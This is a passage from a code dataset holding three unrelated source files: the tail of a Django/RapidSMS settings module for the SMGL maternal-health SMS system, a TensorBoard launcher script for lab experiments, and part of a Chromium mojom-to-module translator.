\"soil\",\n \"djtables\",\n \"rapidsms\",\n 'taggit',\n\n # common dependencies (which don't clutter up the ui).\n \"selectable\",\n \"rapidsms.contrib.ajax\",\n \"uni_form\",\n \"eav\",\n 'djcelery',\n 'djkombu',\n\n # enable the django admin using a little shim app (which includes\n # the required urlpatterns), and a bunch of undocumented apps that\n # the AdminSite seems to explode without.\n \"django.contrib.sites\",\n \"django.contrib.auth\",\n \"django.contrib.admin\",\n \"django.contrib.sessions\",\n \"django.contrib.contenttypes\",\n \"django.contrib.staticfiles\",\n \"touchforms.formplayer\",\n\n \"smsforms\",\n \"smscouchforms\",\n \"couchforms\",\n \"couchexport\",\n \"couchlog\",\n\n\n # the rapidsms contrib apps.\n \"rapidsms.contrib.export\",\n \"rapidsms.contrib.httptester\",\n \"mwana.apps.locations\",\n \"rapidsms.contrib.handlers\",\n \"rapidsms.contrib.messagelog\",\n \"rapidsms.contrib.messaging\",\n # \"rapidsms.contrib.registration\",\n \"scheduler\",\n # \"scheduler\",\n \"mwana.apps.smgl\",\n \"mwana.apps.echo\",\n \"mwana.apps.contactsplus\",\n \"mwana.apps.registration\",\n \"mwana.apps.agents\",\n \"mwana.apps.broadcast\",\n\n \"mwana.apps.labresults\",\n # \"mwana.apps.reminders\",\n # \"mwana.apps.birth_reminders\",\n \"mwana.apps.location_importer\",\n # \"mwana.apps.supply\",\n \"mwana.apps.reports\",\n \"mwana.apps.training\",\n \"mwana.apps.help\",\n \"mwana.apps.quit\",\n \"mwana.apps.alerts\",\n\n # \"mwana.apps.patienttracing\",\n # \"mwana.apps.hub_workflow\",\n # \"mwana.apps.stringcleaning\",\n # This app should always come last to prevent it from hijacking other apps that handle default messages\n \"mwana.apps.default\",\n]\n\n#TOUCHFORMS CONFIG\nXFORMS_PLAYER_URL = \"http://127.0.0.1:4444\"\n\n# this rapidsms-specific setting defines which views are linked by the\n# tabbed navigation. when adding an app to INSTALLED_APPS, you may wish\n# to add it here, also, to expose it in the rapidsms ui.\n#RAPIDSMS_TABS = [] # SET ME IN COUNTRY/LOCALSETTINGS!\n# this dynamic?\n\n# for translations\n_ = lambda x: x\nDEFAULT_RESPONSE = _(\"Invalid keyword. Submit a form with a valid keyword: AMB, RESP, OUTC, REFER, REG, FUP, PP, BIRTH, DEATH, REFOUT, TOLD, LOOK, LEAVE or text HELP for assistance.\")\n\n\n# -------------------------------------------------------------------- #\n# BORING CONFIGURATION #\n# -------------------------------------------------------------------- #\n\nSECRET_KEY = \"SET_ME_TO_SOMETHING_UNIQUE\"\n\n# debug mode is turned on as default, since rapidsms is under heavy\n# development at the moment, and full stack traces are very useful\n# when reporting bugs. don't forget to turn this off in production.\nDEBUG = TEMPLATE_DEBUG = True\nTEMPLATE_DIRS = ('apps/smgl/templates/smgl/',)\nBASE_TEMPLATE_SPLIT_2 = \"layout-split-2.html\"\nBASE_TEMPLATE = \"smgl/layout.html\"\n# after login (which is handled by django.contrib.auth), redirect to the\n# dashboard rather than 'accounts/profile' (the default).\nLOGIN_REDIRECT_URL = \"/\"\n\n\n# use django-nose to run tests. rapidsms contains lots of packages and\n# modules which django does not find automatically, and importing them\n# all manually is tiresome and error-prone.\n#TEST_RUNNER = \"django_nose.NoseTestSuiteRunner\"\n\nSTATICFILES_FINDERS = (\n \"django.contrib.staticfiles.finders.FileSystemFinder\",\n \"django.contrib.staticfiles.finders.AppDirectoriesFinder\"\n )\n\nSETTINGS_PATH = os.path.dirname(__file__)\nFORMDESIGNER_PATH = os.path.join(SETTINGS_PATH, '..', 'submodules', 'vellum')\n\nSTATICFILES_DIRS = (\n (\"formdesigner\", FORMDESIGNER_PATH),\n)\nMEDIA_URL = \"/media/\"\n#MEDIA_ROOT = \"../downloads\"\nSTATIC_URL = \"/static/\"\nSTATIC_ROOT = \"../STATICFILES/\"\nSTATIC_DOC_ROOT = \"../static_docs/\"\n\n## URL for admin media (also defined in apache configuration)\n#ADMIN_MEDIA_PREFIX = '/admin-media/'\n\n\n# this is required for the django.contrib.sites tests to run, but also\n# not included in global_settings.py, and is almost always ``1``.\n# see: http://docs.djangoproject.com/en/dev/ref/contrib/sites/\nSITE_ID = 1\n\n\n# the default log settings are very noisy.\nLOG_LEVEL = \"DEBUG\"\nLOG_FILE = \"logs/rapidsms.log\"\nLOG_FORMAT = \"[%(name)s]: %(message)s\"\nLOG_SIZE = 8192 # 8192 bytes = 64 kb\nLOG_BACKUPS = 256 # number of logs to keep\nDJANGO_LOG_FILE = 'logs/django.log'\n\n\nMIDDLEWARE_CLASSES = [\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'mwana.apps.smgl.middleware.TimezoneMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'mwana.middleware.LoginRequired',\n]\n\n\n# these weird dependencies should be handled by their respective apps,\n# but they're not, so here they are. most of them are for django admin.\nTEMPLATE_CONTEXT_PROCESSORS = [\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.static\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.request\",\n \"touchforms.context_processors.meta\",\n \"django.core.context_processors.csrf\",\n \"rapidsms.context_processors.logo\",\n]\n\n\n# these apps should not be started by rapidsms in your tests, however,\n# the models and bootstrap will still be available through django.\nTEST_EXCLUDED_APPS = [\n \"django.contrib.sessions\",\n \"django.contrib.contenttypes\",\n \"django.contrib.auth\",\n \"rapidsms\",\n \"rapidsms.contrib.ajax\",\n \"rapidsms.contrib.httptester\",\n]\n\n\n# the default ROOT_URLCONF module, bundled with rapidsms, detects and\n# maps the urls.py module of each app into a single project urlconf.\n# this is handy, but too magical for the taste of some. (remove it?)\n#ROOT_URLCONF = \"rapidsms.djangoproject.urls\"\nROOT_URLCONF = \"mwana.urls\"\n\n\n# For Schema Migration\nSOUTH_MIGRATION_MODULES = {\n 'rapidsms': 'testextensions_main.migrations',\n}\n\n\n# The maximum length of an SMS to be sent through the system. It is only\n# enforced manually; i.e., you need to use it to chunk your messages\n# appropriately.\nMAX_SMS_LENGTH = 160\n\n\n# -------------------------------------------------------------------- #\n# RESULTS160 CONFIGURATION #\n# -------------------------------------------------------------------- #\n\n# Results160 setting to configure whether or not real results from the lab\n# should be delivered to health clinics\nSEND_LIVE_LABRESULTS = True\n\n# When set to True, incoming messages from non-standard phone numbers will be\n# ignored. E.g. +551, MTN, 440. See handle()in stringcleaning app.py\nON_LIVE_SERVER = False\n\n# Miscellaneous slugs needed by Results160 and dependent on the data schema/\n# local environment. You will almost certainly want to customize these in\n# your country-level settings file.\nRESULTS160_SLUGS = {\n# contact types:\n 'CBA_SLUG': 'cba',\n 'DATA_ASSOCIATE_SLUG': 'da',\n 'PATIENT_SLUG': 'patient',\n 'CLINIC_WORKER_SLUG': 'clinic-worker',\n 'DISTRICT_WORKER_SLUG': 'district-worker',\n 'EMERGENCY_RESPONDER_SLUG': 'er',\n 'AMBULANCE_DRIVER_SLUG' : 'ad',\n 'TRIAGE_NURSE_SLUG' : 'tn',\n# location types:\n 'CLINIC_SLUGS': ('clinic',),\n 'ZONE_SLUGS': ('zone',),\n 'DISTRICT_SLUGS': ('district',),\n 'RHC_SLUGS': ('rhc',),\n 'UHC_SLUGS': ('uhc',),\n}\n\n\n\n# -------------------------------------------------------------------- #\n# REMINDMI CONFIGURATION #\n# -------------------------------------------------------------------- #\n\n# RemindMi setting to configure ...\nSEND_LIVE_BIRTH_REMINDERS = False\n\nXFORMS_HOST = \"localhost:8000\"\n\nFORMDESIGNER_PATH = \"/path/to/formdesigner\"\n\n#Used by touchforms?\nGMAPS_API_KEY = 'foo'\nREVISION = '1.0'\n\n######################################\n## Set these in your localsettings!\n#####################################\n\n#COUCH_SERVER_ROOT='localhost:5984'\n#COUCH_USERNAME=''\n#COUCH_PASSWORD=''\n#COUCH_DATABASE_NAME=''\n####### Couch Forms & Couch DB Kit Settings #######\n#def get_server_url(server_root, username, password):\n# if username and password:\n# return \"http://%(user)s:%(pass)s@%(server)s\" % {\"user\": username,\n# \"pass\": password,\n# \"server\": server_root }\n# else:\n# return \"http://%(server)s\" % {\"server\": server_root }\n#\n#COUCH_SERVER = get_server_url(COUCH_SERVER_ROOT, COUCH_USERNAME, COUCH_PASSWORD)\n#\n#COUCH_DATABASE = \"%(server)s/%(database)s\" % {\"server\": COUCH_SERVER, \"database\": COUCH_DATABASE_NAME }\n#\n#COUCHDB_DATABASES = [(app_label, COUCH_DATABASE) for app_label in COUCHDB_APPS]\n#\n#XFORMS_POST_URL = \"%s/_design/couchforms/_update/xform/\" % COUCH_DATABASE\n\n#URLs listed here won't require logging in. The match is done by using startswith(): if the current url starts\n#with one of the items below, it's a match.\n#Also to allow a public home page, an exact match for / and /smgl/ is allowed.\nNO_LOGIN_REQUIRED_WHITELIST = [\n '/admin/',\n '/accounts/login/',\n '/accounts/logout/',\n '/labresults/incoming/',\n MEDIA_URL,\n '/backend/',\n '/smgl/home/',\n]\n\n\n\nSITE_TITLE = \"SMGL - Saving Mothers Giving Life\"\nLOGO_LEFT_URL = ''\nLOGO_RIGHT_URL = ''\n\nEXCLUDED_HANDLERS = [\"mwana.apps.labresults\"]\n\n# multiple \"empty\" births can be registered with the same message\nDUPECHECKER_IGNORE = [\"birth none\",\n \"look\",\n \"help\",\n 'in',\n 'out',\n 'join',\n 'leave',\n 'quit',\n 'back',\n 'pick',\n 'drop',\n 'resp',\n 'refer'\n ]\n\nUSE_TZ = True\nTIME_ZONE = 'UTC'\nUSE_L10N = True","sub_path":"mwana/settings_project.py","file_name":"settings_project.py","file_ext":"py","file_size_in_byte":11851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"22264027","text":"#!/usr/bin/env python\n\nimport argparse\nimport os\n\nimport lab.lab_utils as utils\nfrom lab import colors\nfrom lab.lab import Lab\nfrom lab import logger\n\n\ndef main():\n lab = Lab(os.getcwd())\n parser = argparse.ArgumentParser(description='Run TensorBoard')\n parser.add_argument(\"-l\",\n action='store_true',\n dest='list',\n help='List all available experiments')\n parser.add_argument('-e',\n required=False,\n type=str,\n nargs='+',\n dest='experiments',\n help='List of experiments')\n\n args = parser.parse_args()\n\n if args.list:\n utils.list_experiments(lab, logger)\n elif args.experiments:\n # List out the experiments.\n # This will fail if experiments are missing.\n runs = utils.get_last_trials(lab, args.experiments)\n utils.list_trials(runs, logger)\n\n # Invoke Tensorboard\n cmd = utils.get_tensorboard_cmd(lab, args.experiments)\n logger.log(\"Starting TensorBoard\", color=colors.Style.bold)\n os.system(cmd)\n else:\n parser.print_usage()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tensorboard.py","file_name":"tensorboard.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"617188043","text":"#!/usr/bin/env python\n# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n#\n# This module is responsible for translating a MojomFileGraph (see\n# mojom_files.mojom) to one or more module.Module.\n#\n# This module takes the output of the mojom parser, a MojomFileGraph and\n# translates it to the input of the code generators, a module.Module object.\n# This is part of version 2 of the code generation pipeline. In version 1, the\n# analogous functionality (translating from parser output to code generators\n# input) is performed by the data module.\n#\n# The code generators remain from version 1 of the pipeline and so this module\n# serves as an adapter between the v1 backends and the v2 frontend.\n#\n# The current version of this script does not validate the input data at all\n# and instead trusts that it will be invoked with valid data produced by the\n# frontend parser.\n#\n# NOTE: This module assumes that the python path contains the generated modules\n# for mojom_files.mojom and mojom_types.mojom as well as their dependencies.\n# It is the responsibility of the module's loader to handle this.\n\nimport os\n\nfrom generated import mojom_files_mojom\nfrom generated import mojom_types_mojom\nimport module\n\n\nclass FileTranslator(object):\n \"\"\"FileTranslator translates a MojomFile to a module.Module.\"\"\"\n def __init__(self, graph, file_name):\n \"\"\"Initializes a FileTranslator.\n\n Args:\n graph: {mojom_files_mojom.MojomFileGraph} containing the file to be\n translated.\n file_name: {str} key to the file to be translated in graph.files.\n \"\"\"\n assert isinstance(graph, mojom_files_mojom.MojomFileGraph)\n self._type_cache = {}\n self._graph = graph\n self._file_name = file_name\n self._types = {}\n self._module = module.Module()\n self._imports = {}\n\n def Translate(self):\n \"\"\"Translates the file specified in the constructor.\n\n Returns:\n {module.Module} representing the translated file.\n \"\"\"\n mojom_file = self._graph.files[self._file_name]\n\n mod = self._module\n self.PopulateModuleMetadata(mod, mojom_file)\n\n mod.imports = []\n if mojom_file.imports:\n mod.imports = [self.ImportFromMojom(imp) for imp in mojom_file.imports]\n # When translating an imported type, its SourceFileInfo.file_name is a key\n # into self._imports. The value is the module from which the type was\n # imported.\n self._imports = {imp['module'].path: imp for imp in mod.imports}\n\n if mojom_file.declared_mojom_objects:\n if mojom_file.declared_mojom_objects.top_level_constants:\n mod.constants = [\n self.ConstFromMojom(\n self._graph.resolved_values[key].declared_constant, None)\n for key in mojom_file.declared_mojom_objects.top_level_constants]\n\n user_defined_types = ['interfaces', 'structs', 'unions']\n for user_defined_type in user_defined_types:\n if getattr(mojom_file.declared_mojom_objects, user_defined_type):\n setattr(mod, user_defined_type, [self.UserDefinedFromTypeKey(key)\n for key in getattr(\n mojom_file.declared_mojom_objects, user_defined_type)])\n if mojom_file.declared_mojom_objects.top_level_enums:\n mod.enums = [self.UserDefinedFromTypeKey(key)\n for key in mojom_file.declared_mojom_objects.top_level_enums]\n\n return mod\n\n def PopulateModuleMetadata(self, mod, mojom_file):\n \"\"\"Populates some fields of a module.Module based on a MojomFile.\n\n Populates name, path, namespace and attributes of mod.\n\n Args:\n mod: {module.Module} the module to be populated.\n mojom_file: {MojomFile} the file to be translated.\n \"\"\"\n mod.name = os.path.basename(mojom_file.file_name)\n mod.path = mojom_file.file_name\n mod.namespace = mojom_file.module_namespace\n if mojom_file.attributes:\n mod.attributes = {attr.key: attr.value for attr in mojom_file.attributes}\n\n def ImportFromMojom(self, import_name):\n \"\"\"Builds a dict representing an import.\n\n Args:\n import_name: {str} key to the imported file in graph.files.\n\n Returns:\n {dict} representing the imported file.\n \"\"\"\n import_file = self._graph.files[import_name]\n import_module = module.Module()\n self.PopulateModuleMetadata(import_module, import_file)\n\n import_item = {\n 'module_name': import_module.name,\n 'namespace': import_module.namespace,\n 'module': import_module,\n }\n return import_item\n\n def UnionFromMojom(self, union, mojom_type):\n \"\"\"Populates a module.Union based on a MojomUnion.\n\n Args:\n union: {module.Union} to be populated.\n mojom_type: {UserDefinedType} referring to the MojomUnion to be\n translated.\n \"\"\"\n assert mojom_type.tag == mojom_types_mojom.UserDefinedType.Tags.union_type\n mojom_union = mojom_type.union_type\n self.PopulateUserDefinedType(union, mojom_union)\n union.fields = [self.UnionFieldFromMojom(f) for f in mojom_union.fields]\n\n def StructFromMojom(self, struct, mojom_type):\n \"\"\"Populates a module.Struct based on a MojomStruct.\n\n Args:\n struct: {module.Struct} to be populated.\n mojom_type: {UserDefinedType} referring to the MojomStruct to be\n translated.\n \"\"\"\n assert mojom_type.tag == mojom_types_mojom.UserDefinedType.Tags.struct_type\n mojom_struct = mojom_type.struct_type\n self.PopulateUserDefinedType(struct, mojom_struct)\n struct.fields = [self.StructFieldFromMojom(f) for f in mojom_struct.fields]\n self.PopulateContainedDeclarationsFromMojom(\n struct, mojom_struct.decl_data.contained_declarations)\n\n def UnionFieldFromMojom(self, mojom_field):\n \"\"\"Translates a mojom_types_mojom.UnionField to a module.UnionField.\n\n Args:\n mojom_field: {mojom_types_mojom.UnionField} to be translated.\n\n Returns:\n {module.UnionField} translated from mojom_field.\n \"\"\"\n union_field = module.UnionField()\n self.PopulateCommonFieldValues(union_field, mojom_field)\n union_field.ordinal = mojom_field.tag\n return union_field\n\n def StructFieldFromMojom(self, mojom_field):\n \"\"\"Translates a mojom_types_mojom.StructField to a module.StructField.\n\n Args:\n mojom_field: {mojom_types_mojom.StructField} to be translated.\n\n Returns:\n {module.StructField} translated from mojom_field.\n \"\"\"\n struct_field = module.StructField()\n self.PopulateCommonFieldValues(struct_field, mojom_field)\n struct_field.ordinal = self.OrdinalFromMojom(mojom_field)\n if mojom_field.default_value:\n if (mojom_field.default_value.tag ==\n mojom_types_mojom.DefaultFieldValue.Tags.default_keyword):\n struct_field.default = 'default'\n else:\n struct_field.default = self.EvalValue(\n mojom_field.default_value.value)\n\n return struct_field\n\n def ParamFromMojom(self, mojom):\n \"\"\"Translates a mojom_types_mojom.StructField to a module.Parameter.\n\n The parameters passed to and returned from a method are expressed as a\n struct. The struct fields in the struct are the parameters.\n\n Args:\n mojom: {mojom_types_mojom.StructField} representing a method parameter.\n\n Returns:\n {module.Parameter} translated from the mojom.\n \"\"\"\n param = module.Parameter()\n param.ordinal = self.OrdinalFromMojom(mojom)\n self.PopulateCommonFieldValues(param, mojom)\n return param\n\n def PopulateCommonFieldValues(self, field, mojom_field):\n \"\"\"Populates a number of common field values based on a mojom field.\n\n Args:\n field: {module.Field|module.Parameter} to be populated.\n mojom_field: {StructField|UnionField} to be translated.\n \"\"\"\n field.name = mojom_field.decl_data.short_name\n field.kind = self.KindFromMojom(mojom_field.type)\n field.attributes = self.AttributesFromMojom(mojom_field)\n\n def PopulateContainedDeclarationsFromMojom(\n self, parent_kind, contained_declarations):\n \"\"\"Populates a module.Struct|module.Interface with contained declarations.\n\n Args:\n parent_kind: {module.Struct|module.Interface} to be populated.\n contained_declarations: {mojom_types_mojom.ContainedDeclarations} from\n which the contained types need to be extracted.\n \"\"\"\n if not contained_declarations:\n return\n\n if contained_declarations.enums:\n for enum_key in contained_declarations.enums:\n enum = self.UserDefinedFromTypeKey(enum_key)\n enum.name = '%s.%s' % (parent_kind.name, enum.name)\n enum.parent_kind = parent_kind\n parent_kind.enums.append(enum)\n\n if contained_declarations.constants:\n for const_key in contained_declarations.constants:\n const = self.ConstFromMojom(\n self._graph.resolved_values[const_key].declared_constant,\n parent_kind)\n parent_kind.constants.append(const)\n\n def EnumFromMojom(self, enum, mojom_type):\n \"\"\"Populates a module.Enum based on a MojomEnum.\n\n Args:\n enum: {module.Enum} to be populated.\n mojom_type: {mojom_types_mojom.Type} referring to the MojomEnum to be\n translated.\n \"\"\"\n assert mojom_type.tag == mojom_types_mojom.UserDefinedType.Tags.enum_type\n mojom_enum = mojom_type.enum_type\n self.PopulateUserDefinedType(enum, mojom_enum)\n enum.fields = [self.EnumFieldFromMojom(value)\n for value in mojom_enum.values]\n\n def EnumFieldFromMojom(self, mojom_field):\n \"\"\"Translates an mojom_types_mojom.EnumValue to a module.EnumField.\n\n mojom_field: {mojom_types_mojom.EnumValue} to be translated.\n\n Returns:\n {module.EnumField} translated from mojom_field.\n \"\"\"\n field = module.EnumField()\n field.name = mojom_field.decl_data.short_name\n field.attributes = self.AttributesFromMojom(mojom_field)\n field.numeric_value = mojom_field.int_value\n if mojom_field.initializer_value is not None:\n # TODO(rudominer) resolved_numeric_value will always be equal to\n # field.numeric_value above, once mojom_field.int_value is implemented.\n resolved_numeric_value = self.EvalValue(mojom_field.initializer_value)\n assert isinstance(resolved_numeric_value, int)\n # TODO(rudominer) Below we set field.value to a literal value even if in\n # the .mojom file the enum value initializer was a value reference.\n # Thus we are hiding some information from the code generators. We may\n # wish to revisit this decision.\n field.value = str(resolved_numeric_value)\n\n return field\n\n def AttributesFromMojom(self, mojom):\n \"\"\"Extracts the attributes from a Mojom object into a dict.\n\n Args:\n mojom: A type in mojom_types_mojom containing a decl_data field.\n\n Returns:\n {dict} of the attributes.\n \"\"\"\n if not mojom.decl_data.attributes:\n return None\n\n return {attr.key: attr.value for attr in mojom.decl_data.attributes}\n\n def PopulateUserDefinedType(self, module_type, mojom):\n \"\"\"Populates fields that are common among user-defined types.\n\n Args:\n module_type: {module.Struct|Union|Enum} to be populated.\n mojom: {MojomStruct|MojomUnion|MojomEnum} to be translated.\n \"\"\"\n module_type.attributes = self.AttributesFromMojom(mojom)\n module_type.name = mojom.decl_data.short_name\n self.PopulateModuleOrImportedFrom(module_type, mojom)\n\n def PopulateModuleOrImportedFrom(self, module_type, mojom):\n \"\"\"Populates either the module field or the imported_from field.\n\n All user-defined types must have either the module field populated (if\n they are from the currently-processed module) or the imported_from (if\n they are imported from another module).\n\n Args:\n module_type: {module.Struct|Union|Enum|Interface} to be populated.\n mojom: {MojomStruct|MojomUnion|MojomEnum|MojomInterface} to be translated.\n \"\"\"\n if mojom.decl_data.source_file_info:\n if mojom.decl_data.source_file_info.file_name == self._file_name:\n module_type.module = self._module\n else:\n imported_from = self._imports[\n mojom.decl_data.source_file_info.file_name]\n module_type.imported_from = imported_from\n module_type.module = imported_from['module']\n\n\n def OrdinalFromMojom(self, mojom):\n \"\"\"Extracts the declared ordinal from a mojom StructField or UnionField.\n\n Args:\n mojom: {MojomStruct|MojomUnion} from which the ordinal is to be extracted.\n\n Returns:\n {int} if an ordinal was present, {NoneType} otherwise.\n \"\"\"\n ordinal = mojom.decl_data.declared_ordinal\n if ordinal < 0:\n return None\n return ordinal\n\n def InterfaceFromMojom(self, interface, mojom_type):\n \"\"\"Populates a module.Interface from a mojom_types_mojom.MojomInterface.\n\n Args:\n interface: {module.Interface} to be populated.\n mojom_type: {UserDefinedType} referring to the MojomInterface to be\n translated.\n \"\"\"\n assert (mojom_type.tag\n == mojom_types_mojom.UserDefinedType.Tags.interface_type)\n mojom_interface = mojom_type.interface_type\n interface.attributes = self.AttributesFromMojom(mojom_interface)\n self.PopulateModuleOrImportedFrom(interface, mojom_interface)\n interface.name = mojom_interface.interface_name\n interface.methods = [self.MethodFromMojom(mojom_method, interface)\n for mojom_method in mojom_interface.methods.itervalues()]\n self.PopulateContainedDeclarationsFromMojom(\n interface, mojom_interface.decl_data.contained_declarations)\n\n def MethodFromMojom(self, mojom_method, interface):\n \"\"\"Translates a mojom_types_mojom.MojomMethod to a module.Method.\n\n Args:\n mojom_method: {mojom_types_mojom.MojomMethod} to be translated.\n interface: {module.Interface} the method is a member of.\n\n Returns:\n {module.Method} translated from mojom_method.\n \"\"\"\n method = module.Method(interface, mojom_method.decl_data.short_name)\n method.ordinal = mojom_method.ordinal\n method.parameters = [self.ParamFromMojom(param)\n for param in mojom_method.parameters.fields]\n if mojom_method.response_params is not None:\n method.response_parameters = [self.ParamFromMojom(param)\n for param in mojom_method.response_params.fields]\n return method\n\n def ConstFromMojom(self, mojom_const, parent_kind):\n \"\"\"Translates a mojom_types_mojom.DeclaredConstant to a module.Constant.\n\n Args:\n mojom_const: {mojom_types_mojom.DeclaredConstant} to be translated.\n parent_kind: {module.Struct|Interface} if the constant is nested in a\n struct or interface.\n\n Returns:\n {module.Constant} translated from mojom_const.\n \"\"\"\n const = module.Constant()\n const.name = mojom_const.decl_data.short_name\n const.kind = self.KindFromMojom(mojom_const.type)\n const.value = self.EvalValue(mojom_const.value)\n const.parent_kind = parent_kind\n return const\n\n def EvalValue(self, value):\n \"\"\"Evaluates a mojom_types_mojom.Value.\n\n Args:\n value: {mojom_types_mojom.Value} to be evaluated.\n\n Returns:\n {int|float|str|bool|None} the literal value if value is a LiteralValue,\n the string name of the built-in constant if value is a\n BuiltinConstantValue, the result of invoking EvalValue() on the\n resolved concrete value of the user value reference if value is a\n UserValueReference and its concrete value is not None, or else None\n \"\"\"\n if value.tag == mojom_types_mojom.Value.Tags.literal_value:\n return value.literal_value.data\n elif value.tag == mojom_types_mojom.Value.Tags.builtin_value:\n mojom_to_builtin = {\n mojom_types_mojom.BuiltinConstantValue.DOUBLE_INFINITY:\n 'double.INFINITY',\n mojom_types_mojom.BuiltinConstantValue.DOUBLE_NEGATIVE_INFINITY:\n 'double.NEGATIVE_INFINITY',\n mojom_types_mojom.BuiltinConstantValue.DOUBLE_NAN:\n 'double.DOUBLE_NAN',\n mojom_types_mojom.BuiltinConstantValue.FLOAT_INFINITY:\n 'float.INFINITY',\n mojom_types_mojom.BuiltinConstantValue.FLOAT_NEGATIVE_INFINITY:\n 'float.NEGATIVE_INFINITY',\n mojom_types_mojom.BuiltinConstantValue.FLOAT_NAN: 'float.NAN',\n }\n return module.BuiltinValue(mojom_to_builtin[value.builtin_value])\n\n assert value.tag == mojom_types_mojom.Value.Tags.user_value_reference\n concrete_value = value.user_value_reference.resolved_concrete_value\n if concrete_value == None:\n return None\n assert (concrete_value.tag !=\n mojom_types_mojom.Value.Tags.user_value_reference)\n return self.EvalValue(concrete_value)\n\n def KindFromMojom(self, mojom_type):\n \"\"\"Translates a mojom_types_mojom.Type to its equivalent module type.\n\n It is guaranteed that two calls to KindFromMojom with the same input yield\n the same object.\n\n Args:\n mojom_type: {mojom_types_mojom.Type} to be translated.\n\n Returns:\n {module.Kind} translated from mojom_type.\n \"\"\"\n mappers = {\n mojom_types_mojom.Type.Tags.simple_type: self.SimpleKindFromMojom,\n mojom_types_mojom.Type.Tags.string_type: self.StringFromMojom,\n mojom_types_mojom.Type.Tags.handle_type: self.HandleFromMojom,\n mojom_types_mojom.Type.Tags.array_type: self.ArrayFromMojom,\n mojom_types_mojom.Type.Tags.map_type: self.MapFromMojom,\n mojom_types_mojom.Type.Tags.type_reference: self.UserDefinedFromTypeRef,\n }\n return mappers[mojom_type.tag](mojom_type)\n\n def SimpleKindFromMojom(self, mojom_type):\n \"\"\"Translates a simple type to its module equivalent.\n\n Args:\n mojom_type: {mojom_types_mojom.Type} with its simple_type field set to be\n translated.\n\n Returns:\n {module.Kind} translated from mojom_type.\n \"\"\"\n simple_mojom_types = {\n mojom_types_mojom.SimpleType.BOOL: module.BOOL,\n mojom_types_mojom.SimpleType.INT8: module.INT8,\n mojom_types_mojom.SimpleType.INT16: module.INT16,\n mojom_types_mojom.SimpleType.INT32: module.INT32,\n mojom_types_mojom.SimpleType.INT64: module.INT64,\n mojom_types_mojom.SimpleType.UINT8: module.UINT8,\n mojom_types_mojom.SimpleType.UINT16: module.UINT16,\n mojom_types_mojom.SimpleType.UINT32: module.UINT32,\n mojom_types_mojom.SimpleType.UINT64: module.UINT64,\n mojom_types_mojom.SimpleType.FLOAT: module.FLOAT,\n mojom_types_mojom.SimpleType.DOUBLE: module.DOUBLE,\n }\n return simple_mojom_types[mojom_type.simple_type]\n\n def HandleFromMojom(self, mojom_type):\n \"\"\"Translates a handle type to its module equivalent.\n\n Args:\n mojom_type: {mojom_types_mojom.Type} with its handle_type field set to be\n translated.\n\n Returns:\n {module.ReferenceKind} translated from mojom_type.\n \"\"\"\n handle_mojom_types = {\n mojom_types_mojom.HandleType.Kind.UNSPECIFIED: module.HANDLE,\n mojom_types_mojom.HandleType.Kind.MESSAGE_PIPE: module.MSGPIPE,\n mojom_types_mojom.HandleType.Kind.DATA_PIPE_CONSUMER: module.DCPIPE,\n mojom_types_mojom.HandleType.Kind.DATA_PIPE_PRODUCER: module.DPPIPE,\n mojom_types_mojom.HandleType.Kind.SHARED_BUFFER: module.SHAREDBUFFER,\n }\n\n nullable_handle_mojom_types = {\n mojom_types_mojom.HandleType.Kind.UNSPECIFIED: module.NULLABLE_HANDLE,\n mojom_types_mojom.HandleType.Kind.MESSAGE_PIPE: module.NULLABLE_MSGPIPE,\n mojom_types_mojom.HandleType.Kind.DATA_PIPE_CONSUMER:\n module.NULLABLE_DCPIPE,\n mojom_types_mojom.HandleType.Kind.DATA_PIPE_PRODUCER:\n module.NULLABLE_DPPIPE,\n mojom_types_mojom.HandleType.Kind.SHARED_BUFFER:\n module.NULLABLE_SHAREDBUFFER,\n }\n\n if mojom_type.handle_type.nullable:\n return nullable_handle_mojom_types[mojom_type.handle_type.kind]\n return handle_mojom_types[mojom_type.handle_type.kind]\n\n def StringFromMojom(self, mojom_type):\n \"\"\"Translates a string type to its module equivalent.\n\n Args:\n mojom_type: {mojom_types_mojom.Type} with its string_type field set to be\n translated.\n\n Returns:\n {module.ReferenceKind} translated from mojom_type. Either module.STRING or\n module.NULLABLE_STRING.\n \"\"\"\n if mojom_type.string_type.nullable:\n return module.NULLABLE_STRING\n return module.STRING\n\n def ArrayFromMojom(self, mojom_type):\n \"\"\"Translates an array type to its module equivalent.\n\n Args:\n mojom_type: {mojom_types_mojom.Type} with its array_type field set to be\n translated.\n\n Returns:\n {module.Array} translated from mojom_type.\n \"\"\"\n array = module.Array(\n kind=self.KindFromMojom(mojom_type.array_type.element_type))\n if mojom_type.array_type.fixed_length > 0:\n array.length = mojom_type.array_type.fixed_length\n if mojom_type.array_type.nullable:\n return array.MakeNullableKind()\n return array\n\n def MapFromMojom(self, mojom_type):\n \"\"\"Translates a map type to its module equivalent.\n\n Args:\n mojom_type: {mojom_types_mojom.Type} with its map_type field set to be\n translated.\n\n Returns:\n {module.Map} translated from mojom_type.\n \"\"\"\n key_kind = self.KindFromMojom(mojom_type.map_type.key_type)\n value_kind = self.KindFromMojom(mojom_type.map_type.value_type)\n module_map = module.Map(key_kind=key_kind, value_kind=value_kind)\n if mojom_type.map_type.nullable:\n return module_map.MakeNullableKind()\n return module_map\n\n def UserDefinedFromTypeRef(self, mojom_type):\n \"\"\"Translates a user defined type to its module equivalent.\n\n Args:\n mojom_type: {mojom_types_mojom.Type} with its type_reference field set to\n be translated.\n\n Returns:\n {module.Enum|Struct|Union|Interface} translated from mojom_type.\n \"\"\"\n type_key = mojom_type.type_reference.type_key\n module_type = self.UserDefinedFromTypeKey(type_key)\n if mojom_type.type_reference.nullable:\n return module_type.MakeNullableKind()\n return module_type\n\n def UserDefinedFromTypeKey(self, type_key):\n \"\"\"Takes a type key into graph.resolved_types and returns the module\n equivalent.\n\n 